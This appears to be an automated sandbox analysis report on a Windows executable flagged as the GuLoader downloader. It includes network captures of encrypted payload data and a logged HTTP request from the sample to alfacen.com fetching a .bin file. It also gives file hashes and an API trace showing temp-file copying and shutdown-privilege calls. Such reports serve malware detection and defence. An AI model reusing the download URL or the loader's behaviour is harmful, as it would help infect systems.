2024-10-20 15:58:26 UTC	8000	IN	Data Raw: 2f ee b9 66 d5 64 2f ca 63 7d 0b 5d e8 98 1f 27 32 04 64 96 96 54 74 d7 e8 20 7d f4 39 2f 7e 27 1f 03 33 0a d7 19 6e ad ac 04 eb 9a 04 aa 6e 3b 3c e1 06 91 af 74 a7 74 e9 fa 34 12 89 8f b4 80 fa 6c 70 5b 4b db ff c8 57 c3 b1 0e c3 cd cf 07 cb d6 cb 50 cf 91 ea b1 82 0a d4 a8 40 5a 7e 43 bc 24 1d a1 61 05 b8 72 4b 64 aa 0e 55 0c e0 c4 7c d9 fe 69 b8 19 67 64 3d 29 39 e3 3e a1 0a d0 02 97 cb db 60 b1 59 4c d5 0e 4b e6 14 cf 05 88 fa 50 8f 96 b8 f4 f8 ad ed 75 42 6a fe 3d 1d 0c dd b1 54 f3 d3 0d 96 51 02 ef 2c b6 80 02 9a 96 23 df 04 05 2b 60 77 0d ac a5 b8 a9 da 71 bc f7 4f a2 b0 6d 8f 2a 51 ee cb c7 71 bd b8 95 ae 2e d0 cc c3 aa 0b a0 fd 80 db d4 fd a9 23 e6 10 db c5 82 89 29 03 00 ba 3a bf af 03 40 10 09 d7 9e b7 a0 c7 2a e6 c1 6c d0 ab 17 ce 69 0d 0d 76 Data Ascii: /fd/c}]'2dTt }9/~'3nn;<tt4lp[KWP@Z~C$arKdU\|igd=)9>`YLKPuBj=TQ,#+`wqOmQq.#):@liv
2024-10-20 15:58:26 UTC	8000	IN	Data Raw: 47 8a 28 16 da 10 e2 3f c9 ef 6e 1c 85 0c 5b 11 27 72 93 a2 2c 61 24 c5 f0 ea 6d 3d 3b 97 9d 11 99 94 06 39 44 4d b7 6d 87 d8 73 b0 0c f6 7e 1f 4b 8d f6 0a 2a ec ee b0 11 fe 76 ba 83 9a b9 88 d0 a5 1e b8 91 76 a7 51 83 82 b2 d9 59 16 f2 2e 83 b1 d4 10 98 6d ad ee 7a 7c 4e 3e 4b 8c 1a 11 c8 71 ae 44 84 23 94 ab 8f 2f 72 08 28 3b 29 be 9b 81 95 5f 8d e6 00 69 6b fa 9d f9 43 22 cf 6a 10 fb 3a b6 aa dc 83 ff fe a5 64 5c 82 24 f4 01 14 2d a3 f6 82 10 46 0a 0e ea 41 ac 6c 6b 6f 06 d8 50 3c 2d aa ff b6 c6 0e ed 9d 2d 41 36 a6 aa f5 6e 3e 66 0f 16 8b df fd 8c d3 47 1d 49 a1 ce 08 3e 82 39 c4 b7 36 74 a7 ae 75 7c 77 06 79 a0 09 6a 5b ee 8e 56 64 34 2e c9 19 d8 17 fc 4f 39 30 5b ea 7c 72 1b ad 37 93 84 73 09 82 d5 f9 ad 3d 6c 66 7d f6 73 af 47 f7 a7 b7 32 38 2c 7b Data Ascii: G(?n['r,a$m=;9DMms~K*vvQY.mz\|N>KqD#/r(;)_ikC"j:d\$-FAlkoP<--A6n>fGI>96tu\|wyj[Vd4.O90[\|r7s=lf}sG28,{
2024-10-20 15:58:26 UTC	8000	IN	Data Raw: ce a5 91 1c 26 fa 3f 5c ad 85 ca 4b 33 f3 5e e5 6e 91 87 da c5 0f 58 2f 14 8a b1 35 44 d9 57 9d a9 98 d4 51 9f 55 19 c0 a4 d0 9b 7a 34 62 43 e2 71 46 85 03 31 cc 38 97 4a 33 62 35 4e 3f ae 47 19 8c be f5 76 4b b9 f6 61 04 2c 32 d7 d3 3e f5 25 2a 33 6e ad f9 7c 6b 4c 86 8f 64 83 24 ad c3 c3 d2 bc 3d 3b 92 9d cf 2c 4c a4 00 b1 d0 6f 89 76 21 d0 b3 8f b1 17 58 45 9f 78 13 52 38 8e 15 bc 4d 39 23 59 6e e5 cd 4a e9 02 1d 4c c7 e6 0c 1b 8e 69 ec b8 b5 2f ea 58 16 78 33 a7 9b 35 a5 4a 4c f7 4f 2b 76 ba 27 7a 6a 2e 34 74 57 d4 30 73 4d 74 cb 72 9b 5c 33 95 3d 22 e2 bc c7 38 d2 a3 df 1c 1e d7 39 5b 5a ff 20 83 bb 76 15 90 07 9f 5c 26 1e ba fb 08 b1 8f 6e 55 c0 a9 a3 87 49 01 2e c2 df 12 8c 56 af fa 06 16 3e b2 ae 51 11 1f f1 fb 1a d5 84 d4 89 61 34 38 53 67 af 4b Data Ascii: &?\K3^nX/5DWQUz4bCqF18J3b5N?GvKa,2>%*3n\|kLd$=;,Lov!XExR8M9#YnJLi/Xx35JLO+v'zj.4tW0sMtr\3="89[Z v\&nUI.V>Qa48SgK
2024-10-20 15:58:26 UTC	8000	IN	Data Raw: 6c 6c a7 e9 9f 49 1f fe ab ee b1 78 0c 44 f4 17 33 a9 4e 1d 0e 2e 88 fe 7c 7c 15 77 18 6e ed 37 65 6a 3d ab f2 fc da 73 fc 4a 4e 3e f2 da fa e2 b4 6f fb c6 9c 65 8a df 4a a3 a3 4b 32 3d a1 9e 7e 2c 8e 59 94 00 e9 af 9a 61 dd aa 68 3f 3a d8 12 b6 80 f0 23 f2 d5 67 23 f9 a3 20 f2 a7 e8 23 5a 80 c5 19 32 ae aa 23 a4 62 79 9d 2d d8 74 af 0a 9d ed 83 f7 ef cd 7d 22 0c ab 13 e2 e5 54 fa 20 57 96 d8 9f a8 8f 0c da 46 58 20 a9 6c 41 d5 80 27 32 cb 2a dd eb 91 ac 07 07 e9 c9 a4 ea 8b 3d 37 94 7a d7 d6 eb 8a b5 c2 b8 ff 9c 12 80 8c 9f d1 93 fd ba 66 60 e3 13 68 c6 a6 e7 2d a9 62 02 05 8d 78 58 70 30 4f 21 2d a9 f4 76 0d a2 fd 61 9c 61 c7 6e c3 b4 54 ae fe 8e 4d 1d 95 1b b4 75 45 fa b1 dc 35 91 c0 ff 94 c9 41 5f bb 1b e0 4e 8c c0 8f 5e 42 40 13 59 fc 69 5f de 69 02 Data Ascii: llIxD3N.\|\|wn7ej=sJN>oeJK2=~,Yah?:#g# #Z2#by-t}"T WFX lA'2*=7zf`h-bxXp0O!-vaanTMuE5A_N^B@Yi_i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49982	193.107.36.30	443	8124	C:\Users\user\Desktop\3507071243740008011.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-20 15:58:38 UTC	174	OUT	GET /jFhxxDhhDcCKVgiwlWM221.bin HTTP/1.1 User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: alfacen.com Cache-Control: no-cache
2024-10-20 15:58:38 UTC	344	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 15:58:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 18 Oct 2024 13:09:53 GMT Accept-Ranges: bytes Content-Length: 289344 Cache-Control: max-age=2592000 Expires: Tue, 19 Nov 2024 15:58:38 GMT Vary: Accept-Encoding Content-Type: application/octet-stream
2024-10-20 15:58:38 UTC	7848	IN	Data Raw: cd c4 32 61 fb d9 39 26 04 dc 17 79 65 ca 29 f9 97 dd 2a 9a b8 89 1e 30 82 1c ed 54 4b 5b 59 50 43 1b 3e 16 de 3c 83 74 45 d7 49 8f ec 93 7d 4b f9 34 07 20 ec 59 fd ec d2 6a 68 e5 55 1a a8 9e f3 26 b7 d8 f2 e5 47 a6 b0 ef a9 72 9e 2c 15 36 ad b1 22 69 1c 60 5f 47 67 ca c0 68 2b b1 91 2c 64 63 6f 3e 1c 5b 83 a9 4e d8 89 f9 0a 8e c1 1c 94 ca cd 5c 2d 40 ea df cb 0a 1a 11 ae 05 80 bf a4 7b 92 db e1 77 7b 7d 33 4c 89 18 00 6f be 63 16 40 e7 3e 92 aa 31 1e 97 9a 40 64 dd f7 4b d2 7a 7e 16 c7 7e 1b fd d5 bf 2d f0 b6 8f 7c d7 e3 e5 9f 72 f9 1a 2d 97 87 ba cd 8c a0 37 b6 8f a7 c5 53 de f8 c1 c9 1f 16 ed 07 03 be df 8e f4 01 b8 d9 0f 67 da c6 aa 59 02 97 90 eb 6d be 80 65 00 b1 80 20 bd b9 14 16 7d ac da da d9 10 7f b7 79 37 a8 67 27 32 bb 0d d0 8b 05 ae 35 91 e9 Data Ascii: 2a9&ye)*0TK[YPC><tEI}K4 YjhU&Gr,6"i`_Ggh+,dco>[N\-@{w{}3Loc@>1@dKz~~-\|r-7SgYme }y7g'25
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: a6 8f d8 ec 96 d4 b8 54 a0 f4 74 2d 1c cc d0 54 9d 3e 18 25 71 93 e2 95 6d 51 55 39 9f d1 58 41 03 08 63 34 52 e9 00 d5 87 e6 6b 60 ca 61 3d 86 1d f1 99 26 fb 55 f8 79 b7 67 fd 7d a5 5f 56 bf 1b 05 6e 8d 09 91 0b d1 b0 7d 87 f5 f5 a5 f5 d3 fc e3 58 7a fc 5e ce 13 22 9f 7e 3e 4a f8 4d cc 35 bc 5d 07 54 a4 02 18 30 08 1b e2 86 7b fd fe c1 14 91 06 ef 95 63 6a b0 24 b7 c2 d2 13 d4 f1 bb 7a 79 1d 31 a7 ad b9 13 b4 aa 9f 44 9d 5e 0c 9c 39 a3 47 c6 03 ef cf 21 7a 6a 82 60 73 e1 59 89 da 89 0d b2 a8 b1 72 77 d7 64 7c 08 01 73 29 c0 f2 09 d1 11 d9 e5 10 7d 38 ec e5 44 3c 82 7f fc a4 de de 04 ea bd 38 6a e5 f2 f8 bd 24 10 2a 1c 94 b6 58 84 3f f9 60 70 ee 62 42 c0 11 c6 ae 74 30 11 3e 44 ce a0 cf f9 35 9d 05 ac b0 ef ca c3 65 b8 bc 5f 7c 03 45 75 20 bc a6 eb 93 71 Data Ascii: Tt-T>%qmQU9XAc4Rk`a=&Uyg}_Vn}Xz^"~>JM5]T0{cj$zy1D^9G!zj`sYrwd\|s)}8D<8j$*X?`pbBt0>D5e_\|Eu q
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: 8a 0f de 8d 04 28 e2 44 15 95 50 b8 cd 9e 33 df 25 e4 23 bf c0 8a 9c 7d 51 0d bd 89 60 e0 fa 87 28 48 a7 c5 a2 5f ea 67 11 c5 df 21 b3 fa 14 01 f2 f7 47 7c 78 af ef b3 ff 31 38 16 45 82 db 1f d6 81 3c 04 dd 2e e4 7c df 5e 07 17 5c 0b bc 6e 55 53 fe df b8 f4 48 3d 49 ca 86 d5 6a 32 86 0f 68 85 00 48 88 6d 09 48 d3 19 e2 93 c1 d4 89 99 25 2e ee 8b 61 f0 2a a4 06 63 7d 13 c3 1a 71 cb 6f 2f 1b 84 4f 4f 5e 8f 78 be e5 d6 af 77 6b d5 41 e6 40 70 73 3a 93 6d 60 ab a1 a1 94 f2 b0 ad a2 42 6b ee e7 c8 18 ea 9f a6 f4 76 84 58 ca cd 48 03 d1 cb b8 83 91 7b 78 d4 2e 61 f6 d5 8e 08 a8 75 78 8e ad 46 7c a1 ba 4e 09 98 d6 44 33 d4 9d 34 56 89 6c f9 6a 03 03 d9 3d 7c a8 72 3d ab 13 64 9a a0 b2 6f 66 1f 52 ab 1b 13 f1 f3 19 2b 72 3c 08 89 c5 ce 8f 3b f7 74 96 88 cc 1e 21 Data Ascii: (DP3%#}Q`(H_g!G\|x18E<.\|^\nUSH=Ij2hHmH%.a*c}qo/OO^xwkA@ps:m`BkvXH{x.auxF\|ND34Vlj=\|r=dofR+r<;t!
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: ab c3 13 e3 29 6e cc ad 14 aa b0 1d 0e b1 7a 68 d1 d9 77 35 0c 2c 44 37 ff 7c e8 95 ab 0f 66 79 80 e8 e1 2e f5 dd 85 6e 5d f6 a8 b7 a4 81 a3 0c 8e 20 3f eb 42 59 58 85 f8 4d 55 9a 6c b6 33 24 05 42 9d 32 d0 22 57 38 70 3b 0f 3b 36 54 9a 6f 14 e8 74 c1 ca a9 e9 80 2c 91 2a ef 23 bd d8 8f 40 f5 46 de b1 cc 37 43 df 75 ec 4e c4 24 0c 2d 94 07 80 44 21 bc f3 48 86 52 d8 fa cf d0 ad 2d 5c 2e 6d 32 b9 98 6b 63 35 40 1a 2b c5 5a d1 91 0c e6 09 ad da f3 b2 0c d8 ab 9f 51 79 57 a7 6d c3 16 12 e8 dc b6 11 3c 3c 79 a4 45 e6 67 27 b5 31 91 da 60 6a 95 31 40 c0 37 65 58 a6 53 92 c3 8b 64 a3 78 4d f2 d8 f0 1e ce 28 c1 5b 9f b8 05 de 30 f6 18 5c 7e e8 90 ae f1 27 85 74 be 7f d2 e9 db 09 0a d6 fa 42 74 11 aa 9a d3 90 04 38 10 5c 12 f2 3a 4a 24 c2 48 4e 81 ed e1 bc 35 9e Data Ascii: )nzhw5,D7\|fy.n] ?BYXMUl3$B2"W8p;;6Tot,*#@F7CuN$-D!HR-\.m2kc5@+ZQyWm<<yEg'1`j1@7eXSdxM([0\~'tBt8\:J$HN5
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: 47 de ae 68 9d 98 9d e2 7c 07 d0 73 7b 88 9c 14 22 09 bb 87 6f 93 1e 6a 47 26 d4 9c f3 9f 58 5e fc d9 8a df 0e ef 64 60 ad b8 3e bf 08 2b d0 e3 85 07 66 52 4f 82 9f 3a 71 32 29 88 a4 89 12 03 c1 fd 66 25 3c 03 e4 9f 89 9f b4 24 c9 45 2d 21 10 bd 43 20 93 a6 50 01 f8 60 13 0a 65 7a 2d 85 64 86 6c 54 58 e5 54 26 81 03 1d f7 94 94 01 92 85 a6 b8 92 83 05 c0 60 8f 4f 87 67 db 0c d5 37 37 3c 0d 96 c4 87 fe e4 94 91 db 2c dc 78 b7 e7 a3 aa 2a 9f 31 51 9d 41 7f 79 fa 75 10 26 6d dd 6c c4 0a 96 f0 d7 57 89 32 51 fa c6 6a 97 8d 35 66 0d d9 a4 07 a1 fa 24 3d 5f 86 8c bf 2b 17 b3 96 4b 40 1f 2b 01 a3 52 ec bd bb 47 a6 94 3a 8d 27 ee 81 e3 ec 08 a8 19 9d 4f 42 35 bf d5 34 5b 6e 82 c4 7e 18 cc ba b1 b6 99 53 f7 e3 8b 81 01 b5 3b 75 06 85 94 70 f2 a0 d8 7b e7 f8 22 19 Data Ascii: Gh\|s{"ojG&X^d`>+fRO:q2)f%<$E-!C P`ez-dlTXT&`Og77<,x*1QAyu&mlW2Qj5f$=_+K@+RG:'OB54[n~S;up{"
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: 20 14 23 5d ca fa f2 91 a2 ce 49 99 1b 5b 8f 5f 02 de 55 3f 8c 21 c7 cb fd d2 6f c3 54 40 4a 84 5c 1c 26 d0 89 25 1f 93 1c 7a 29 7b 41 44 ac 89 09 98 26 26 03 81 70 2e dd 85 e1 bc f6 7d 5b b4 60 c1 b4 6b 4f 1c 92 7c a5 cc 9c 4f 6b c2 56 88 26 83 48 9a de 9f 3f 09 42 f8 81 1b 8b c2 5c 79 13 cb c4 48 8a 2b 3d a2 43 aa 72 90 97 7d e0 80 40 df d7 03 d6 57 eb d8 30 39 99 dd 2e bb c1 93 cb f4 de af e6 b5 7a a5 32 95 e0 d3 df 66 9c 92 35 8d 31 12 7e 59 3b 0b e5 ee 56 b5 7d 95 d3 0d 4e 6c a4 73 d5 48 25 d8 4e 69 08 b5 a3 1b b3 c7 7e 8d 5b 67 29 2b 96 e3 d7 a5 9c 61 e0 2b c7 9e 59 2b e2 bc cf 46 b8 bf 82 2a 5d c6 36 63 87 c6 44 cb 52 cf 7e 5a 60 39 35 66 92 4c 43 19 ba 4c dc 6a c8 d6 a6 5d a3 97 3c 9b 0e 5e 7b 2b 65 5c 25 95 63 40 b6 90 f6 88 9a 6a 44 95 b8 c0 fc Data Ascii: #]I[_U?!oT@J\&%z){AD&&p.}[`kO\|OkV&H?B\yH+=Cr}@W09.z2f51~Y;V}NlsH%Ni~[g)+a+Y+F*]6cDR~Z`95fLCLj]<^{+e\%c@jD
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: 2f ee b9 66 d5 64 2f ca 63 7d 0b 5d e8 98 1f 27 32 04 64 96 96 54 74 d7 e8 20 7d f4 39 2f 7e 27 1f 03 33 0a d7 19 6e ad ac 04 eb 9a 04 aa 6e 3b 3c e1 06 91 af 74 a7 74 e9 fa 34 12 89 8f b4 80 fa 6c 70 5b 4b db ff c8 57 c3 b1 0e c3 cd cf 07 cb d6 cb 50 cf 91 ea b1 82 0a d4 a8 40 5a 7e 43 bc 24 1d a1 61 05 b8 72 4b 64 aa 0e 55 0c e0 c4 7c d9 fe 69 b8 19 67 64 3d 29 39 e3 3e a1 0a d0 02 97 cb db 60 b1 59 4c d5 0e 4b e6 14 cf 05 88 fa 50 8f 96 b8 f4 f8 ad ed 75 42 6a fe 3d 1d 0c dd b1 54 f3 d3 0d 96 51 02 ef 2c b6 80 02 9a 96 23 df 04 05 2b 60 77 0d ac a5 b8 a9 da 71 bc f7 4f a2 b0 6d 8f 2a 51 ee cb c7 71 bd b8 95 ae 2e d0 cc c3 aa 0b a0 fd 80 db d4 fd a9 23 e6 10 db c5 82 89 29 03 00 ba 3a bf af 03 40 10 09 d7 9e b7 a0 c7 2a e6 c1 6c d0 ab 17 ce 69 0d 0d 76 Data Ascii: /fd/c}]'2dTt }9/~'3nn;<tt4lp[KWP@Z~C$arKdU\|igd=)9>`YLKPuBj=TQ,#+`wqOmQq.#):@liv
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: 47 8a 28 16 da 10 e2 3f c9 ef 6e 1c 85 0c 5b 11 27 72 93 a2 2c 61 24 c5 f0 ea 6d 3d 3b 97 9d 11 99 94 06 39 44 4d b7 6d 87 d8 73 b0 0c f6 7e 1f 4b 8d f6 0a 2a ec ee b0 11 fe 76 ba 83 9a b9 88 d0 a5 1e b8 91 76 a7 51 83 82 b2 d9 59 16 f2 2e 83 b1 d4 10 98 6d ad ee 7a 7c 4e 3e 4b 8c 1a 11 c8 71 ae 44 84 23 94 ab 8f 2f 72 08 28 3b 29 be 9b 81 95 5f 8d e6 00 69 6b fa 9d f9 43 22 cf 6a 10 fb 3a b6 aa dc 83 ff fe a5 64 5c 82 24 f4 01 14 2d a3 f6 82 10 46 0a 0e ea 41 ac 6c 6b 6f 06 d8 50 3c 2d aa ff b6 c6 0e ed 9d 2d 41 36 a6 aa f5 6e 3e 66 0f 16 8b df fd 8c d3 47 1d 49 a1 ce 08 3e 82 39 c4 b7 36 74 a7 ae 75 7c 77 06 79 a0 09 6a 5b ee 8e 56 64 34 2e c9 19 d8 17 fc 4f 39 30 5b ea 7c 72 1b ad 37 93 84 73 09 82 d5 f9 ad 3d 6c 66 7d f6 73 af 47 f7 a7 b7 32 38 2c 7b Data Ascii: G(?n['r,a$m=;9DMms~K*vvQY.mz\|N>KqD#/r(;)_ikC"j:d\$-FAlkoP<--A6n>fGI>96tu\|wyj[Vd4.O90[\|r7s=lf}sG28,{
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: ce a5 91 1c 26 fa 3f 5c ad 85 ca 4b 33 f3 5e e5 6e 91 87 da c5 0f 58 2f 14 8a b1 35 44 d9 57 9d a9 98 d4 51 9f 55 19 c0 a4 d0 9b 7a 34 62 43 e2 71 46 85 03 31 cc 38 97 4a 33 62 35 4e 3f ae 47 19 8c be f5 76 4b b9 f6 61 04 2c 32 d7 d3 3e f5 25 2a 33 6e ad f9 7c 6b 4c 86 8f 64 83 24 ad c3 c3 d2 bc 3d 3b 92 9d cf 2c 4c a4 00 b1 d0 6f 89 76 21 d0 b3 8f b1 17 58 45 9f 78 13 52 38 8e 15 bc 4d 39 23 59 6e e5 cd 4a e9 02 1d 4c c7 e6 0c 1b 8e 69 ec b8 b5 2f ea 58 16 78 33 a7 9b 35 a5 4a 4c f7 4f 2b 76 ba 27 7a 6a 2e 34 74 57 d4 30 73 4d 74 cb 72 9b 5c 33 95 3d 22 e2 bc c7 38 d2 a3 df 1c 1e d7 39 5b 5a ff 20 83 bb 76 15 90 07 9f 5c 26 1e ba fb 08 b1 8f 6e 55 c0 a9 a3 87 49 01 2e c2 df 12 8c 56 af fa 06 16 3e b2 ae 51 11 1f f1 fb 1a d5 84 d4 89 61 34 38 53 67 af 4b Data Ascii: &?\K3^nX/5DWQUz4bCqF18J3b5N?GvKa,2>%*3n\|kLd$=;,Lov!XExR8M9#YnJLi/Xx35JLO+v'zj.4tW0sMtr\3="89[Z v\&nUI.V>Qa48SgK
2024-10-20 15:58:38 UTC	8000	IN	Data Raw: 6c 6c a7 e9 9f 49 1f fe ab ee b1 78 0c 44 f4 17 33 a9 4e 1d 0e 2e 88 fe 7c 7c 15 77 18 6e ed 37 65 6a 3d ab f2 fc da 73 fc 4a 4e 3e f2 da fa e2 b4 6f fb c6 9c 65 8a df 4a a3 a3 4b 32 3d a1 9e 7e 2c 8e 59 94 00 e9 af 9a 61 dd aa 68 3f 3a d8 12 b6 80 f0 23 f2 d5 67 23 f9 a3 20 f2 a7 e8 23 5a 80 c5 19 32 ae aa 23 a4 62 79 9d 2d d8 74 af 0a 9d ed 83 f7 ef cd 7d 22 0c ab 13 e2 e5 54 fa 20 57 96 d8 9f a8 8f 0c da 46 58 20 a9 6c 41 d5 80 27 32 cb 2a dd eb 91 ac 07 07 e9 c9 a4 ea 8b 3d 37 94 7a d7 d6 eb 8a b5 c2 b8 ff 9c 12 80 8c 9f d1 93 fd ba 66 60 e3 13 68 c6 a6 e7 2d a9 62 02 05 8d 78 58 70 30 4f 21 2d a9 f4 76 0d a2 fd 61 9c 61 c7 6e c3 b4 54 ae fe 8e 4d 1d 95 1b b4 75 45 fa b1 dc 35 91 c0 ff 94 c9 41 5f bb 1b e0 4e 8c c0 8f 5e 42 40 13 59 fc 69 5f de 69 02 Data Ascii: llIxD3N.\|\|wn7ej=sJN>oeJK2=~,Yah?:#g# #Z2#by-t}"T WFX lA'2*=7zf`h-bxXp0O!-vaanTMuE5A_N^B@Yi_i

Target ID:	0
Start time:	11:56:41
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\3507071243740008011.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3507071243740008011.exe"
Imagebase:	0x400000
File size:	986'863 bytes
MD5 hash:	300FFB3FD65EB4A84A14802828F91E38
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2641992068.0000000005438000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:58:14
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\3507071243740008011.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3507071243740008011.exe"
Imagebase:	0x400000
File size:	986'863 bytes
MD5 hash:	300FFB3FD65EB4A84A14802828F91E38
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	22.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.5%
Total number of Nodes:	1549
Total number of Limit Nodes:	45

Executed Functions

Function 00403373 Relevance: 87.9, APIs: 33, Strings: 17, Instructions: 412
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403396
GetVersion.KERNEL32 ref: 0040339C
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033CF
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040340C
OleInitialize.OLE32(00000000), ref: 00403413
SHGetFileInfoW.SHELL32(0042B208,00000000,?,000002B4,00000000), ref: 0040342F
GetCommandLineW.KERNEL32(00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 00403444
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\3507071243740008011.exe",00000000,?,00000006,00000008,0000000A), ref: 00403457
CharNextW.USER32(00000000,"C:\Users\user\Desktop\3507071243740008011.exe",00000020,?,00000006,00000008,0000000A), ref: 0040347E

Part of subcall function 0040665C: GetModuleHandleA.KERNEL32(?,00000020,?,004033E5,0000000A), ref: 0040666E
Part of subcall function 0040665C: GetProcAddress.KERNEL32(00000000,?), ref: 00406689

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035B8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004035C9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035D5
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035E9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035F1
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403602
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040360A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040361E

Part of subcall function 00406282: lstrcpynW.KERNEL32(?,?,00000400,00403444,00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 0040628F

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004036E9
ExitProcess.KERNEL32 ref: 0040370A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\3507071243740008011.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040371D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\3507071243740008011.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040372C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\3507071243740008011.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403737
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\3507071243740008011.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403743
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040375F
DeleteFileW.KERNEL32(0042AA08,0042AA08,?,00435000,00000008,?,00000006,00000008,0000000A), ref: 004037B9
CopyFileW.KERNEL32(C:\Users\user\Desktop\3507071243740008011.exe,0042AA08,00000001,?,00000006,00000008,0000000A), ref: 004037CD
CloseHandle.KERNEL32(00000000,0042AA08,0042AA08,?,0042AA08,00000000,?,00000006,00000008,0000000A), ref: 004037FA
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403829
OpenProcessToken.ADVAPI32(00000000), ref: 00403830
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403845
AdjustTokenPrivileges.ADVAPI32 ref: 00403868
ExitWindowsEx.USER32(00000002,80040002), ref: 0040388D
ExitProcess.KERNEL32 ref: 004038B0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004035AD, 004035B2, 004035C8, 004035D4, 004035E3, 004035F0, 004035FC, 00403604, 0040371A, 0040372B, 00403736, 00403742, 0040374F, 0040375E, 0040380F
C:\Users\user\Desktop, xrefs: 0040373C, 00403741, 0040376E
~nsu, xrefs: 00403715
NSIS Error, xrefs: 00403435
SeShutdownPrivilege, xrefs: 0040383F
TEMP, xrefs: 004035FD
C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 0040359B, 004036BB, 00403765, 0040376F
C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular, xrefs: 004036C6
C:\Users\user\Desktop\3507071243740008011.exe, xrefs: 004037C8
1033, xrefs: 00403619
TMP, xrefs: 00403605
.tmp, xrefs: 00403731
Low, xrefs: 004035EB
\Temp, xrefs: 004035CF
Error launching installer, xrefs: 004036A0
"C:\Users\user\Desktop\3507071243740008011.exe", xrefs: 0040344A, 00403450, 00403646
UXTHEME, xrefs: 004033C3, 004033C8, 004033CE

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

